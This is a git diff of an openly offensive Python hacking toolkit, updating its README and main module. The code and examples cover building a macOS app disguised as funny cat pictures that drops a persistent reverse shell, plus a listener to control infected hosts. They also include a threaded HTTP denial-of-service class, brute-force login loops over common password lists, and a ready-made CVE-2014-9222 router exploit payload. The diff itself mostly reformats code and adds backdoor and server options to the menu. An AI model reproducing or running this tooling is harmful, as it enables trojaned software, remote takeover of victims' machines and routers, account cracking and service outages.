diff --git a/README.md b/README.md index d43a1c3..fcbb5e9 100644 --- a/README.md +++ b/README.md @@ -2,14 +2,16 @@ ![MIT License](https://img.shields.io/github/license/mashape/apistatus.svg) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) ##### Toolkit for hacking enthusiasts using Python. -hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development. +hacklib is a Python module for hacking enthusiasts interested in network security. It is no longer in active development. + -- #### Installation To get hacklib, simply run in command line: ```console pip install hacklib ``` + + hacklib also has a user interface. To use it, you can do one of the following: Download hacklib.py and run in console: @@ -24,7 +26,9 @@ Enter the number corresponding to your choice. 1) Connect to a proxy 2) Target an IP or URL 3) Lan Scan -4) Exit +4) Create Backdoor +5) Server +6) Exit ``` Or if you got it using pip: @@ -33,43 +37,34 @@ Or if you got it using pip: import hacklib hacklib.userInterface() ``` -- -#### Dependencies -Not all classes have external dependencies, but just in case you can do the following: -```python -hacklib.installDependencies() -``` -- + + #### Usage Examples Reverse shell backdooring (Currently only for Macs): ```python import hacklib bd = hacklib.Backdoor() -# Generates an app that drops a persistent reverse shell into the system. +# Generates an app that, when ran, drops a persistent reverse shell into the system. bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures') # Takes the IP and port of the command server, the OS of the target, and the name of the .app ``` -- +Generated App: + +![Screenshot](http://i.imgur.com/BsBzCWA.png) -Shell listener (Use in conjunction with the backdoor): +Listen for connections with Server: ```python -import hacklib -# Create instance of Server with the listening port ->>> s = hacklib.Server(9090) ->>> s.listen() -New connection ('127.0.0.1', 51101) +>>> import hacklib +>>> s = hacklib.Server(9090) # Bind server to port 9090 +>>> s.listen() +New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds) bash: no job control in this shell -bash-3.2$ whoami +bash$ whoami # Type a command leon -bash-3.2$ -# Sweet! -``` -In addition, you can also listen with netcat: +bash$ # Nice! ``` -nc -l 9090 -``` -- + Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins: ```python @@ -102,7 +97,7 @@ for p in passwords: print 'Password is', p break ``` -- + Port Scanning: ```python from hacklib import * @@ -114,7 +109,7 @@ ps.scan(getIP('yourwebsite.com')) # After a scan, open ports are saved within ps for reference if ps.portOpen(80): # Establish a TCP stream and sends a message - send(getIP('yourwebsite.com'), 80, message='GET HTTP/1.1 \r\n') + send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n') ``` Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner: @@ -125,7 +120,7 @@ Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner: >>> ps = hacklib.PortScanner() >>> ps.scan('192.168.1.1', (80, 81)) Port 80: -HTTP/1.1 404 Not Found +HTTP/1.1 200 Content-Type: text/html Transfer-Encoding: chunked Server: RomPager/4.07 UPnP/1.0 @@ -133,7 +128,7 @@ EXT: # The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable. # Exploitation ->>> payload = '''GET /HTTP/1.1 +>>> payload = '''GET / HTTP/1.0\r\n Host: 192.168.1.1 User-Agent: googlebot Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8 @@ -144,7 +139,7 @@ Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n' # The cookie replaced the firmware's memory allocation for web authentication with a null bye. # The router's admin page is now fully accessible from any web browser. ``` -- + FTP authentication: ```python import hacklib @@ -154,7 +149,7 @@ try: except: print 'Login failed.' ``` -- + Socks4/5 proxy scraping and tunneling ```python >>> import hacklib @@ -176,3 +171,67 @@ u'KE' # To filter proxies by country and type: # proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5') ``` + +Word Mangling: + +```python +from hacklib import * + +word = Mangle("Test", 0, 10, 1990, 2016) + +word.Leet() +word.Numbers() +word.Years() +``` +Output: + +``` +T3$t +Test0 +0Test +...snip... +Test10 +10Test +Test1990 +1990Test +...snip... +Test2016 +2016Test +``` + +Pattern Create: + +```python +from hacklib import * + +Pattern = PatternCreate(100) + +Pattern.generate() +``` +Output: + +``` +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A +``` + +Pattern Offset: + +```python +from hacklib import * + +Offset = PatternOffset("6Ab7") + +Offset.find() +``` +Output: + +```python +[+] Offset: 50 +``` + +#### Dependencies +Not all classes have external dependencies, but just in case you can do the following: +```python +hacklib.installDependencies() +``` + diff --git a/hacklib.py b/hacklib.py index ebc630f..21c7269 100644 --- a/hacklib.py +++ b/hacklib.py @@ -18,15 +18,23 @@ CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.''' -import socket, httplib, threading, time, urllib2, os +import socket +import threading +import time +import urllib2 +import os from Queue import Queue -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Fixes scapy logging error -from scapy.all import * # Required for the Probe Request Class -from string import ascii_uppercase, ascii_lowercase, digits # Import for PatternCreate and PatternOffset +try: # Import scapy if they have it. If they don't, they can still use hacklib + from scapy.all import * + import logging + logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Fixes scapy logging error +except: + pass +from string import ascii_uppercase, ascii_lowercase, digits # Import for PatternCreate and PatternOffset + class Backdoor(object): - '''Creates a persistent backdoor payload. Currently only for Mac OSX. + '''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX. Payloads for Windows and Linux coming soon.''' def __init__(self): @@ -60,14 +68,15 @@ def __init__(self): exit ''' - def create(self, IP, port, OS, appname = 'funny_cats'): + def create(self, IP, port, OS, appname='funny_cats'): '''Creates a user-level reverse shell.''' - + if OS == 'OSX': self.osx_payload = self.osx_payload.replace('HOST', IP).replace('PORT', str(port)) try: os.makedirs(os.getcwd() + '/' + appname + '.app/Contents/MacOS') - except: pass + except: + pass payload_path = os.getcwd() + '/' + appname + '.app/Contents/MacOS/' + appname with open(payload_path, 'w') as f: f.write(self.osx_payload) @@ -75,12 +84,13 @@ def create(self, IP, port, OS, appname = 'funny_cats'): subprocess.Popen(['chmod', '755', payload_path]) print 'Payload saved to ' + os.getcwd() + '/' + appname + '.app' + class Server(object): def __init__(self, port): import socket self.port = port - self.address = (socket.gethostname(), port) + self.address = ('', port) def listen(self): import time @@ -91,19 +101,19 @@ def listen(self): connection, cAddress = sock.accept() try: print 'New connection', cAddress - connection.sendall('whoami\n') while True: data = connection.recv(32768) if data: print '\n'.join(data.split('\n')[:-1]) - response = raw_input(data.split('\n')[-1]) + response = raw_input('bash$ ') data = None if response: connection.sendall(response + '\n') time.sleep(0.5) finally: connection.close() - + + class FTPAuth(object): '''FTP login and command handler. Commands: @@ -117,24 +127,33 @@ def __init__(self, IP, port=21): self.username = '' self.password = '' self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.s.settimeout(3) + self.s.settimeout(5) self.s.connect((self.IP, self.port)) self.s.recv(1024) - def send(self, message): + def _send(self, message): self.s.send(message) - return self.s.recv(2048) + response = self.s.recv(32768) + return response + + def send(self, message): + self.s.send(message + '\r\n') + while True: + response = self.s.recv(32768) + if response: + return response def login(self, username, password): - self.send('USER ' + username + '\r\n') - response = self.send('PASS ' + password + '\r\n') + self._send('USER ' + username + '\r\n') + response = self._send('PASS ' + password + '\r\n') if '230' in response: return elif '331' in response: return 'Password required' else: raise Exception(response) - + + class AuthClient(object): '''Universal login tool for most login pages as well as HTTP Basic Authentication. Commands: @@ -156,7 +175,7 @@ def _get_login_type(self): return 'BA' if 'timed out' in str(e).lower(): return 'TO' - + def _login_mechanize(self): try: import mechanize @@ -177,17 +196,21 @@ def _login_mechanize(self): password_control = '' # Locates username and password input, and submits login info for control in br.form.controls: - if control.name and control.name.lower() in userfields or control.id and control.id.lower() in userfields: username_control = control - if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: password_control = control + if control.name and control.name.lower() in userfields or control.id and control.id.lower() in userfields: + username_control = control + if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: + password_control = control username_control.value = self.username - try: password_control.value = self.password + try: + password_control.value = self.password except: # Detected a username input but not a password input. # Submits form with username and attempts to detect password input in resulting page response = br.submit() br.form = list(br.forms())[0] for control in br.form.controls: - if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: password_control = control + if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: + password_control = control password_control.value = self.password response = br.submit() # Returns response if the URL is changed. Assumes login failure if URL is the same @@ -211,7 +234,7 @@ def _login_BA(self): except Exception, e: if 'Error 401' in str(e): raise Exception('Login credentials incorrect.') - + def login(self, url, username, password): self.url = url self.username = username @@ -220,12 +243,13 @@ def login(self, url, username, password): logintype = self. _get_login_type() if logintype == 'BA': # attempts to login with BA method and return html - return self._login_BA() + return self._login_BA() if logintype == 'TO': raise Exception('Request timed out.') if logintype == 'FORM': return self._login_mechanize() + class DOSer(object): '''Hits a host with GET requests on default port 80 from multiple threads. Commands: @@ -241,16 +265,17 @@ def __init__(self): self.start_time = 0 self.time_length = 1 - def _attack(self, target): + def _attack(self, target): # Sends GET requests for time_length duration while int(time.time()) < self.start_time + self.time_length: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) try: s.connect((self.target, self.port)) - s.send("GET /" + self.payload + " HTTP/1.1\r\n") - s.send("Host: " + self.target + "\r\n\r\n") - except: pass + s.send("GET /" + self.payload + " HTTP/1.1\r\n") + s.send("Host: " + self.target + "\r\n\r\n") + except: + pass def _threader(self): while True: @@ -258,7 +283,7 @@ def _threader(self): self._attack(self.worker) self.q.task_done() - def launch(self, host, duration, threads = 1, port = 80, payload = 'default'): + def launch(self, host, duration, threads=1, port=80, payload='default'): '''Launches threaded GET requests for (duration) seconds. ''' self.target = host @@ -266,9 +291,10 @@ def launch(self, host, duration, threads = 1, port = 80, payload = 'default'): self.threads = threads self.start_time = int(time.time()) self.time_length = duration - if payload != 'default': self.payload = payload + if payload != 'default': + self.payload = payload # Creates queue to hold each thread - self.q = Queue() + self.q = Queue.Queue() #print '> Launching ' + str(threads) + ' threads for ' + str(duration) + ' seconds.' for i in range(threads): t = threading.Thread(target=self._threader) @@ -281,6 +307,7 @@ def launch(self, host, duration, threads = 1, port = 80, payload = 'default'): self.q.join() return + class PortScanner(object): '''Scan an IP address using scan(host) with default port range 1-1024. Commands: @@ -300,7 +327,7 @@ def _portscan(self, port): s.settimeout(self.timeout) # Tries to establish a connection to port, and append to list of open ports try: - con = s.connect((self.IP,port)) + con = s.connect((self.IP, port)) response = s.recv(1024) self.openlist.append(port) if self.verbose: @@ -329,21 +356,22 @@ def _portscan(self, port): print 'Port', str(port) + ':' print response s.close() - except: pass - + except: + pass + def portOpen(self, port): if port in self.openlist: return else: return False - + def _threader(self): while True: self.worker = self.q.get() self._portscan(self.worker) self.q.task_done() - def scan(self, IP, port_range = (1, 1025), timeout = 1, verbose = True): + def scan(self, IP, port_range=(1, 1025), timeout=1, verbose=True): '''Scans ports of an IP address. Use getIP() to find IP address of host. ''' self.openlist = [] @@ -351,7 +379,7 @@ def scan(self, IP, port_range = (1, 1025), timeout = 1, verbose = True): self.port_range = port_range self.timeout = 1 # Creates queue to hold each thread - self.q = Queue() + self.q = Queue.Queue() for x in range(30): t = threading.Thread(target=self._threader) t.daemon = True @@ -362,6 +390,7 @@ def scan(self, IP, port_range = (1, 1025), timeout = 1, verbose = True): self.q.join() + class LanScanner(object): '''Scans local devices on your LAN network. Commands: @@ -384,7 +413,8 @@ def _scan(self, host): try: resp = subprocess.check_output(['ping', '-c1', '-W90', host]) self.alive_hosts.append(host) - except: return + except: + return def getLocalIP(self): import subprocess @@ -394,15 +424,15 @@ def getLocalIP(self): for line in data: if 'inet ' in line and '127.' not in line: return line.split(' ')[1] - - def scan(self, h_range = (1, 255)): + + def scan(self, h_range=(1, 255)): # Finds local IP first in order to determine IP range of local network localip = self.getLocalIP() stub = '.'.join(localip.split('.')[:-1]) # Adds list of possible local hosts to self.range_range for i in range(h_range[0], h_range[1]): self.host_range.append(stub + '.' + str(i)) - self.q = Queue() + self.q = Queue.Queue() # Launches 100 threads to ping 254 potential hosts for x in range(100): t = threading.Thread(target=self._threader) @@ -412,10 +442,12 @@ def scan(self, h_range = (1, 255)): self.q.put(worker) self.q.join() return list(set(self.alive_hosts)) - + + class _Getch: """Gets a single character from standard input. Does not echo to the screen.""" + def __init__(self): try: self.impl = _GetchWindows() @@ -430,10 +462,14 @@ def __call__(self): return self.impl() class _GetchUnix: def __init__(self): - import tty, sys, termios + import tty + import sys + import termios def __call__(self): - import sys, tty, termios + import sys + import tty + import termios try: fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) @@ -443,7 +479,9 @@ def __call__(self): finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch - except: return raw_input('> ') + except: + return raw_input('> ') + class _GetchWindows: def __init__(self): @@ -453,7 +491,9 @@ def __call__(self): try: import msvcrt return msvcrt.getch() - except: return raw_input('> ') + except: + return raw_input('> ') + class Proxy(object): '''Can work in conjunction with getProxies() to tunnel all @@ -462,7 +502,7 @@ class Proxy(object): connect() Args: getProxies(), timeout=10 connect_manual() Args: IP, port, proxy_type ''' - + def __init__(self): self.IP = '' self.port = '' @@ -484,12 +524,13 @@ def connect(self, proxies, timeout=10): socks.setdefaultproxy(self.proxy_type, proxy[0], int(proxy[1])) socket.socket = socks.socksocket # Tests to see if the proxy can open a webpage - currentIP = urllib2.urlopen('http://icanhazip.com/', timeout = timeout).read().split()[0] + currentIP = urllib2.urlopen('http://icanhazip.com/', timeout=timeout).read().split()[0] self.IP = proxy[0] self.port = int(proxy[1]) self.country = proxy[2] return - except: pass + except: + pass raise Exception('Couldn\'t connect to any proxies.') def connect_manual(IP, port, proxy_type='Socks5'): @@ -504,7 +545,8 @@ def connect_manual(IP, port, proxy_type='Socks5'): self.IP = IP self.port = port return currentIP - except: raise Exception('Connection failed.') + except: + raise Exception('Connection failed.') def importFromString(code, name): @@ -512,25 +554,37 @@ def importFromString(code, name): Args: code: a string, a file handle, or a compiled binary name: the name of the module """ - import sys, imp + import sys + import imp module = imp.new_module(name) exec code in module.__dict__ return module + def getIP(host): return socket.gethostbyname(host) -def getProxies(country_filter = 'ALL', proxy_type = ('Socks4', 'Socks5')): + +def randomIP(): + import struct + return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) + + +def getProxies(country_filter='ALL', proxy_type=('Socks4', 'Socks5')): '''Gets list of recently tested Socks4/5 proxies. Return format is as follows: [IP, Port, Country Code, Country, Proxy Type, Anonymous, Yes/No, Last Checked] Args: country_filter: Specify country codes within a tuple, e.g. ('US', 'MX') proxy_type: Specify whic Socks version to use, e.g. 'Socks5' ''' - try: import mechanize - except: raise MissingPackageException('Please install the mechanize module before continuing. Use hacklib.installDependencies()') - try: from bs4 import BeautifulSoup - except: raise MissingPackageException('Please install the beautifulsoup4 module before continuing. Use hacklib.installDependencies()') + try: + import mechanize + except: + raise MissingPackageException('Please install the mechanize module before continuing. Use hacklib.installDependencies()') + try: + from bs4 import BeautifulSoup + except: + raise MissingPackageException('Please install the beautifulsoup4 module before continuing. Use hacklib.installDependencies()') br = mechanize.Browser() br.set_handle_robots(False) br.addheaders = [('User-agent', 'googlebot')] @@ -557,24 +611,32 @@ def getProxies(country_filter = 'ALL', proxy_type = ('Socks4', 'Socks5')): if proxy[4] in proxy_type and proxy[2] in country_filter: filteredlist.append(proxy) else: - if proxy[4] in proxy_type: filteredlist.append(proxy) + if proxy[4] in proxy_type: + filteredlist.append(proxy) proxylist = filteredlist return proxylist + def installDependencies(): import subprocess - try: - mech = subprocess.check_output(['/usr/local/bin/pip', 'install', 'mechanize']) - if 'successfully installed' in mech: print 'Installed mechanize' - beaut = subprocess.check_output(['/usr/local/bin/pip', 'install', 'bs4']) - if 'successfully installed' in beaut: print 'Installed beautifulsoup' - scapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'scapy']) - if 'successfully installed' in beaut: print 'Installed scapy' - except: - raise MissingPipException('Could not find pip.') + mech = subprocess.check_output(['/usr/local/bin/pip', 'install', 'mechanize']) + if 'successfully installed' in mech: + print 'Installed mechanize' + beaut = subprocess.check_output(['/usr/local/bin/pip', 'install', 'bs4']) + if 'successfully installed' in beaut: + print 'Installed beautifulsoup' + scapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'scapy']) + if 'successfully installed' in scapy: + print 'Installed scapy' + pcapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'pcapy']) + if 'successfully installed' in pcapy: + print 'Installed pcapy' + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -def send(IP, port, message, keepalive = False): + + +def send(IP, port, message, keepalive=False): '''Creates new socket and sends a TCP message. If keepalive is true, use hacklib.sock to handle socket and hacklib.sock.close() when finished. ''' @@ -589,13 +651,16 @@ def send(IP, port, message, keepalive = False): sock.close() return response + def ping(host): """Pings a host and returns true if the host exists. """ - import os, platform - ping_str = "-n 1" if platform.system().lower()=="windows" else "-c 1" + import os + import platform + ping_str = "-n 1" if platform.system().lower() == "windows" else "-c 1" return os.system("ping " + ping_str + " " + host) == 0 + def topPasswords(amount): '''Get up to 100,000 most common passwords. ''' @@ -603,6 +668,7 @@ def topPasswords(amount): passlist = urllib2.urlopen(url).read().split('\n') return passlist[:amount] + def uiPortScan(address): print '' print '1) default scan (port range 1-1024)' @@ -616,9 +682,10 @@ def uiPortScan(address): if cmd == '2': s_port = raw_input('Input starting port > ') e_port = raw_input('Input end port >') - ps.scan(address, (s_port, e_port)) + ps.scan(address, (int(s_port), int(e_port))) print 'Port scan complete.' + def uiDOS(address): dos = DOSer() print '' @@ -629,12 +696,14 @@ def uiDOS(address): print 'Launching DOS attack' dos.launch(address, duration, threads, port, payload) + def uiTCPMessage(address): print '' port = int(raw_input('Input port >')) message = raw_input('Message > ') send(address, port, message) + def uiLogin(address): print '' print 'Select login type' @@ -710,7 +779,7 @@ def uiLogin(address): except: print password + ' failed.' ftp = FTPAuth(address) - + if cmd == '2': username = raw_input('Username > ') ftp.send('USER ' + username + '\r\n') @@ -719,6 +788,7 @@ def uiLogin(address): if cmd == '3': return + def uiLanScan(): lan = LanScanner() print 'Starting Lan scan' @@ -728,6 +798,7 @@ def uiLanScan(): print 'Lan scan complete.' time.sleep(2) + def uiCreateBackdoor(): print '' print 'Select OS' @@ -742,13 +813,15 @@ def uiCreateBackdoor(): bd.create(ip, port, 'OSX', appname) time.sleep(2) + def uiServer(): print '' port = raw_input('Listening port > ') s = Server(int(port)) print 'Listening on port ' + port s.listen() - + + def userInterface(): '''Start UI if hacklib isn't being used as a library. ''' @@ -784,10 +857,14 @@ def userInterface(): print '4) Attempt login' print '5) Exit' cmd = ink() - if cmd == '1': uiPortScan(getIP(address)) - if cmd == '2': uiDOS(getIP(address)) - if cmd == '3': uiTCPMessage(getIP(address)) - if cmd == '4': uiLogin(address) + if cmd == '1': + uiPortScan(getIP(address)) + if cmd == '2': + uiDOS(getIP(address)) + if cmd == '3': + uiTCPMessage(getIP(address)) + if cmd == '4': + uiLogin(address) cmd = '' if cmd == '3': @@ -798,7 +875,7 @@ def userInterface(): if cmd == '5': uiServer() - + if cmd == '1': print 'Would you like to automatically find a proxy or input one manually?' print 'Enter the number corresponding to your choice.' @@ -820,11 +897,17 @@ def userInterface(): pr_address = raw_input('Proxy address > ') pr_port = raw_input('Proxy port > ') pr_type = raw_input('Enter "Socks4" or "Socks5" > ') - try: proxy.connect_manual(pr_address, pr_port, pr_type) - except: print 'Connection failed.'; time.sleep(2); pass + try: + proxy.connect_manual(pr_address, pr_port, pr_type) + except: + print 'Connection failed.' + time.sleep(2) + pass print 'Proxy connected.' time.sleep(2) pass + + """ This Class Mangles Words specified by the user @@ -839,6 +922,7 @@ def userInterface(): """ + class Mangle: def __init__(self, text, num1, num2, year1, year2): @@ -849,13 +933,12 @@ def __init__(self, text, num1, num2, year1, year2): self.year2 = year2 self.text = text - def Numbers(self): for x in self.text.split(): for i in range(self.num1, self.num2): - + print ("%s" + "%s") % (x, i) print ("%s" + "%s") % (i, x) @@ -864,36 +947,32 @@ def Years(self): for x in self.text.split(): for i in range(self.year1, self.year2): - + print ("%s" + "%s") % (x, i) print ("%s" + "%s") % (i, x) - def UniqueNum(self): - + for x in self.text.split(): - + for i in range(self.num1, self.num2): print ("%s" + "%s" + "%s") % (x, x, i) - def UniqueYears(self): for x in self.text.split(): - + for i in range(self.year1, self.year2): print ("%s" + "%s" + "%s") % (x, x, i) - - def FirstLetterCapNum(self): for x in self.text.split(): for i in range(self.num1, self.num2): - + print ("%s" + "%s") % (x.capitalize(), i) print ("%s" + "%s") % (i, x.capitalize()) @@ -903,39 +982,31 @@ def Caps(self): print x.capitalize() - def UniqueCaps(self): for x in self.text.split(): print ("%s" + "s") % (x.capitalize(), x.capitalize()) - - def CapandYears(self): for x in self.text.split(): for i in range(self.year1, self.year2): - + print ("%s" + "%s") % (x.capitalize(), i) print ("%s" + "%s") % (i, x.capitalize()) - - + def Leet(self): for x in self.text.split(): print x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8") - - def LeetCap(self): for x in self.text.split(): print x.capitalize().replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8") - - def LeetYears(self): for x in self.text.split(): @@ -945,7 +1016,6 @@ def LeetYears(self): print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i) print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")) - def LeetNumbers(self): for x in self.text.split(): @@ -955,14 +1025,11 @@ def LeetNumbers(self): print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i) print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")) - def UniqueLeet(self): for x in self.text.split(): - print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"),(x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))) - - + print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))) def Reverse(self): @@ -970,14 +1037,11 @@ def Reverse(self): print x[::-1] - def ReverseCap(self): for x in self.text.split(): print x[::-1].capitalize() - - def ReverseNum(self): for x in self.text.split(): @@ -987,8 +1051,6 @@ def ReverseNum(self): print ("%s" + "%s") % (x[::-1], i) print ("%s" + "%s") % (i, x[::-1]) - - def ReverseYears(self): for x in self.text.split(): @@ -998,17 +1060,17 @@ def ReverseYears(self): print ("%s" + "%s") % (x[::-1], i) print ("%s" + "%s") % (i, x[::-1]) - def ReverseUnique(self): for x in self.text.split(): print x[::-1] + x[::-1] + ''' This Classes Dectects Probe Requests from Wireless Devices. -Example: +Example: Probe = Proberequests("wlan0") @@ -1016,6 +1078,7 @@ def ReverseUnique(self): ''' + class Proberequests: global probeReqs @@ -1041,9 +1104,10 @@ def startSniff(self): sniff(iface=self.interface, prn=self.sniffProbe) + """ -This class creates a unique pattern of 20280 characters. +This class creates a unique pattern of 20280 characters. This is a replica of the metasploit tool called pattern_create.rb @@ -1057,9 +1121,10 @@ def startSniff(self): """ + class PatternCreate: - global MAX_PATTERN_LENGTH + global MAX_PATTERN_LENGTH MAX_PATTERN_LENGTH = 20280 @@ -1145,11 +1210,14 @@ def find(self): print "[+] Offset: " + str(offset) + if __name__ == '__main__': userInterface() + class MissingPackageException(Exception): '''Raise when 3rd party modules are not able to be imported.''' + class MissingPipexception(Exception): '''Raise when pip is not able to be found'''